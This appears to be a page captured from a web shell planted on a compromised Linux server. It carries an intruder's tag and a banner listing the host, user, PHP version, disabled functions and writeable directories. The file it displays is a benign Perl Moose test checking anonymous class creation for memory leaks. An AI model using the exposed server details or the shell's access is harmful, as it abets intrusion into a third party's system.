Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Moose/t/cmop/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/proc/self/root/usr/share/doc/perl-Moose/t/cmop/anon_class_leak.t
use strict;
use warnings;

use Test::More;
use Test::Requires 'Test::LeakTrace';   # skip all if not installed

BEGIN {
    plan skip_all => 'Leak tests fail under Devel::Cover' if $INC{'Devel/Cover.pm'};
}

use Class::MOP;

# 5.10.0 has a bug on weaken($hash_ref) which leaks an AV.
my $expected = ( "$]" == 5.010_000 ? 1 : 0 );

leaks_cmp_ok {
    Class::MOP::Class->create_anon_class();
}
'<=', $expected, 'create_anon_class()';

leaks_cmp_ok {
    Class::MOP::Class->create_anon_class( superclasses => [qw(Exporter)] );
}
'<=', $expected, 'create_anon_class(superclass => [...])';

done_testing;

Hry